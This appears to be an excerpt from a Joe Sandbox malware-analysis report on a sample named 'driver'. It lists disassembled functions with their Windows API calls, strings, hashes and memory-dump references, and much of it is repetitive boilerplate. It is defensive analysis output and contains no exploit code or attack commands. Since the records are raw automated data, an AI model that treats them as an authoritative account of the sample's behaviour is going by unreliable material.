Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileModuleName
String ID: Out of memory in _setargv0
API String ID: 514040917-2942948061
Opcode ID: 129c879392923774ff2a07c093cd71962e6daef3155abbc6be6e0babe1aa431a
Instruction ID: 6b8ac712215fb229eb92c572ce924ded29fbd285f6b841b12e85132c835207be
Opcode Fuzzy Hash: 129c879392923774ff2a07c093cd71962e6daef3155abbc6be6e0babe1aa431a
Instruction Fuzzy Hash: 7CD09E71385B016AFA407BEA6882B292258A719B19F10007FF604895D1DDE55990562D

Function 004033B0 Relevance: 3.1, APIs: 2, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,?,00000000,00000002,00000000,00000000,?,004521B1,?,00000000,?,0042B7EF,00000001,00000001,00000000), ref: 004033F6
CreateFileA.KERNEL32(?,C0000000,?,00000000,00000002,00000000,00000000,?,004521B1,?,00000000,?,0042B7EF,00000001,00000001,00000000), ref: 00403411

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1d0d5b27ff3aeff15ee5b50c66216ca40360bc728b70c83e950a6f1d80c6af85
Instruction ID: 0011c9e4c2c0fa370232780aa7686f39da00e5595a68883fe1eae08a60c3d1e3
Opcode Fuzzy Hash: 1d0d5b27ff3aeff15ee5b50c66216ca40360bc728b70c83e950a6f1d80c6af85
Instruction Fuzzy Hash: BE21C531600300AAEB259F258C82B56BE989F44715F14C17AFE04AF2C6E7BCDA4583AD

Function 004039E8 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,00000000,?,?,?,004039C8,?,?,00000000,?,?,004038C0,?), ref: 00403A48
GetLastError.KERNEL32(?,?,?,00000000,00000000,?,?,?,004039C8,?,?,00000000,?,?,004038C0,?), ref: 00403A52

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 4accbd1c46337688f908d4e155e27962c9e9569d7876c0e4b845c701a28acf00
Instruction ID: f5810df8bb3031b3672b44123f7d8264be7168b40d28e95d8826f55270b85d52
Opcode Fuzzy Hash: 4accbd1c46337688f908d4e155e27962c9e9569d7876c0e4b845c701a28acf00
Instruction Fuzzy Hash: 04018E31604204AFDB109E2988405AA7F9CAB04336F10C23BFC55AA2C1D278DF409E99

Function 00403A68 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001,00000000,00000000,?,?,00403758,?,?,00000000,?,00000000,?,00000000), ref: 00403A80
GetLastError.KERNEL32(?,00000000,?,00000001,00000000,00000000,?,?,00403758,?,?,00000000,?,00000000,?,00000000), ref: 00403A8C

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 11376d7a33d08bc2bfa767998202ab47ade2a2b017e6dd4751b90cc36154d971
Instruction ID: 9c4ee07e14ac14f2608d98d1a4f5854d44976b8054b3719d9adab0c709738835
Opcode Fuzzy Hash: 11376d7a33d08bc2bfa767998202ab47ade2a2b017e6dd4751b90cc36154d971
Instruction Fuzzy Hash: 72F0F431704100AFEB00DE388D82BAB7699DB84721F1486BAB840D73C5E678DE0146A6

Function 0043AB1C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,003FFFFF,00002000,00000001,00446B0C,?,02D00000,0043B17C), ref: 0043AB6C

Strings

MZP, xrefs: 0043AB48

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AllocVirtual
String ID: MZP
API String ID: 4275171209-2889622443
Opcode ID: 754de35655b3e15654bd3327c640f4479d648ee259ffaf2efcab5972d7b19eb9
Instruction ID: 5661cc52af0ad36c5f8d8b9db08dede1707706c0d89bfd98c9347a1cbd9cd8be
Opcode Fuzzy Hash: 754de35655b3e15654bd3327c640f4479d648ee259ffaf2efcab5972d7b19eb9
Instruction Fuzzy Hash: 6FF024B53806005BE3204F46ACC5726B257E38B355F20D237E6C5A7A90C3BA9C418B0B

Function 00404720 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

SetFileAttributesW.KERNEL32(00000000,00000000,00000000,?,00000000,00403F35,?,00000000,00451DB0,?,00000000,00402070), ref: 0040473E
SetFileAttributesA.KERNEL32(?,00000000,00000000,?,00000000,00403F35,?,00000000,00451DB0,?,00000000,00402070), ref: 0040474F

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AttributesFile$Version
String ID:
API String ID: 3849939888-0
Opcode ID: ddd78364e22827f1880f497a421faf7b19991191fc85f0ebfe4e0ba9cb257685
Instruction ID: f6a68b3889e0922675d7a63e0bec97ac7d17f77324af39b1d98f91e087e3f170
Opcode Fuzzy Hash: ddd78364e22827f1880f497a421faf7b19991191fc85f0ebfe4e0ba9cb257685
Instruction Fuzzy Hash: 64E0866230121192E73135774CC6AAB45CD9CC3679B084077BA14F31D2DB6CCC415079

Function 00404404 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

GetFileAttributesW.KERNEL32(00000000,?,00000000,00402061), ref: 0040441E
GetFileAttributesA.KERNEL32(?,?,00000000,00402061), ref: 00404430

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AttributesFile$Version
String ID:
API String ID: 3849939888-0
Opcode ID: 91b1716168928fa41e4c3786cab79401491c765b77daace33f225c14cde02e1b
Instruction ID: bf6e4e78f20791458c3d47c0fee9d3ee4afcdf3bffddaa71d528b44eaca1b01f
Opcode Fuzzy Hash: 91b1716168928fa41e4c3786cab79401491c765b77daace33f225c14cde02e1b
Instruction Fuzzy Hash: EBE08CB3220A1182AA2029B90DC228B11989D852727584377EA20E21C2EB6DC9866069

Function 0041ADF8 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 0041AE05
GetProcessAffinityMask.KERNEL32(00000000,?,?), ref: 0041AE0B

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: e7615505019735664bafd06f317b0eb60236aee48204dc75a8fe7fe3f33292ab
Instruction ID: 262fd4f24ab6656c4bbd16548e5ffc2149fa4158210067f9a139f60b9622648e
Opcode Fuzzy Hash: e7615505019735664bafd06f317b0eb60236aee48204dc75a8fe7fe3f33292ab
Instruction Fuzzy Hash: B7E08672349B0115F70499299D4279B63D88BC0765F148A3BF844C5284FF2DDD92A119

Function 004046F4 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

GetFileAttributesW.KERNEL32(?,?,?,004041B9), ref: 0040470E
GetFileAttributesA.KERNEL32(?,?,?,004041B9), ref: 00404717

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AttributesFile$Version
String ID:
API String ID: 3849939888-0
Opcode ID: 565f813c40ff20afc569fe12a403d535cc547af31fd50c6f80e9310e0f3a0e10
Instruction ID: 6d6f70c5243012630dcda667dd67d3c8a650278ed0f1b033fc1de19fc6c0fb16
Opcode Fuzzy Hash: 565f813c40ff20afc569fe12a403d535cc547af31fd50c6f80e9310e0f3a0e10
Instruction Fuzzy Hash: 89D0C79260122113EB317EEE18C15D7429D4ED67967044177FE00E72E3DB7C8D8491A9

Function 00412ED0 Relevance: 3.0, Strings: 2, Instructions: 464COMMON

Download Yara Rule

Strings

System Volume Information\, xrefs: 00413127
%s%c%s, xrefs: 004134C3

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: %s%c%s$System Volume Information\
API String ID: 0-1332662115
Opcode ID: 73db5d809de157e4eee187ec79a837bbf9331f142671404af82c116ee763727b
Instruction ID: e3e0b6aff62becdbdef1645db206b1c63ea33cb9603f4bc20d13fb07fcb3e2d7
Opcode Fuzzy Hash: 73db5d809de157e4eee187ec79a837bbf9331f142671404af82c116ee763727b
Instruction Fuzzy Hash: 4012C87060060ABAE725EF31C945BD6F7A4BF01309F04827BD45993282DB786BD9CBD9

Function 0042C6FC Relevance: 2.6, Strings: 2, Instructions: 50COMMON

Download Yara Rule

Strings

rar.ini, xrefs: 0042C724
switches=, xrefs: 0042C748

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: rar.ini$switches=
API String ID: 0-2952858923
Opcode ID: febc456425cb21283b514296de3801fd1900a0fec9148c14ecdde4304c04ae3f
Instruction ID: 8d6baae8820ff84d3c835b238240be401bf84f212183ec55cdd1807820225eb0
Opcode Fuzzy Hash: febc456425cb21283b514296de3801fd1900a0fec9148c14ecdde4304c04ae3f
Instruction Fuzzy Hash: AF01A72434062B42D720A5269C817EE73994B85358FD081B7A908AB782FF3CDD45468D

Function 00404E98 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9b9eb0f6ed3a11c0a4faf80a6fb06e004e3492111f5085dd7f3af7d1e3644c9
Instruction ID: 5705f4a1d88e40d2283ba3302c0fa8bbcdd64fcbdea2c6e292b129d580f720b0
Opcode Fuzzy Hash: c9b9eb0f6ed3a11c0a4faf80a6fb06e004e3492111f5085dd7f3af7d1e3644c9
Instruction Fuzzy Hash: B46150749001099ADF20EE65C88579FB7A5DF45308F1481BBE900B73C2D77D9E898BAA

Function 00403B50 Relevance: 1.6, APIs: 1, Instructions: 85timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNEL32(?,00000000,00000000,00000000), ref: 00403C15

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 37a8c82ea8d99e6fef9e0570930fe0ddf63513a47d197e8c7653f0fd353eae33
Instruction ID: a6c4e0528c06b102bf3592dd363e27ba1f0ab591f5c515dd3e6b449e6d10106e
Opcode Fuzzy Hash: 37a8c82ea8d99e6fef9e0570930fe0ddf63513a47d197e8c7653f0fd353eae33
Instruction Fuzzy Hash: CF21D6316046049AEB14CE64C4027FEBFB9AB41309F0840BBD841B73C2D77DAF44D255

Function 0042B92D Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CharToOemA.USER32(00453DB0,00453DB0), ref: 0042B992

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: 0fc117d7aaa645549d8c52891dc8685c344a92916f472e4642585f71273bb97c
Instruction ID: 3cb7f2cd1ad1bb318c08a21bcd4c3cf6c38605d5bbdeba97254f8b7dad9adafb
Opcode Fuzzy Hash: 0fc117d7aaa645549d8c52891dc8685c344a92916f472e4642585f71273bb97c
Instruction Fuzzy Hash: C0210B6160417846E7219B355C82BA6B7DCDF0D304F5009FBE949A6743DF3C8E8446DD

Function 0040F858 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c038491901c6d3da0f9a5a51ff20dc19fdd2d4e4f347752ab7955df103a6759
Instruction ID: ddd629f78c5652066d94efcd3ea0f0718fa8aa38aa766412159702ebe21abcb4
Opcode Fuzzy Hash: 0c038491901c6d3da0f9a5a51ff20dc19fdd2d4e4f347752ab7955df103a6759
Instruction Fuzzy Hash: 4DF0243330814016E720AA7F5880AC7B3894F95378F188337AD28DB6D7CB7488464179

Function 00438E78 Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

MZP, xrefs: 00438F41, 00438F49

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: 6a7d0674a6627098c7670a05f00a9ad5ac38b92c7590d37f6ff824465fc63817
Instruction ID: 47f9aa2faac0a463d8cdb12b842056577bd96d0129d8996c7daaa114fe268dfd
Opcode Fuzzy Hash: 6a7d0674a6627098c7670a05f00a9ad5ac38b92c7590d37f6ff824465fc63817
Instruction Fuzzy Hash: 6AB195706046059BDB14DF19C9C1A5B73E2AF88304F18867EEC469F386DB78EC41CB6A

Function 00402114 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000400,?,0040218F,?,004521B1,?,00000000,?,0042B773,?,00000000,004521B1), ref: 00402139

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 1ba0893bd548ca3ad52ed55ef3932f9b0d934fff37b73124ef3dc42c331e8618
Instruction ID: 9c19024145d54c886d210cc0c945b7553373d87ee7de339eb3c422cbc5fbf9ba
Opcode Fuzzy Hash: 1ba0893bd548ca3ad52ed55ef3932f9b0d934fff37b73124ef3dc42c331e8618
Instruction Fuzzy Hash: 49D05E7070030526E750287A0ECA72A00865BA4709F60903FF704FD2C2E9FDC816121D

Function 0043C968 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0043C984

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: d8dbf742682ad9581e06b7cd54e2f973d0687bf0adcbc49ae8194c0b56124f6c
Instruction ID: 98ada16339e3cf58edfbd852cf1d2c9d6fdd5a34e0de020eea7f9f028549f141
Opcode Fuzzy Hash: d8dbf742682ad9581e06b7cd54e2f973d0687bf0adcbc49ae8194c0b56124f6c
Instruction Fuzzy Hash: 9DD0A7371183085BAB00DFA5FCC281A735CF6453287504112E40CC2531C636F5418568

Function 0040F6FC Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(?,00000000,?,004044D1,00000000,00000000,?), ref: 0040F715

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 29b2e843970ae769d2ec4ce3cdad3f1c56a83751b490ac972ac517e7ed08f0b3
Instruction ID: eb898675b321ace3c7ac5f2442ceaada739fc9c5c60ee3f87f741b6dfe6c2ae5
Opcode Fuzzy Hash: 29b2e843970ae769d2ec4ce3cdad3f1c56a83751b490ac972ac517e7ed08f0b3
Instruction Fuzzy Hash: 78D0977240131042FB381EBC88C0A93029C8F04335F0C033B6E182B3E2CE3C8C088059

Function 00403CBC Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00403971,?,?,00000050,?,00000000,00000050,00448C48,?,00000050,?,0040387A,?,?,?), ref: 00403CC8

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
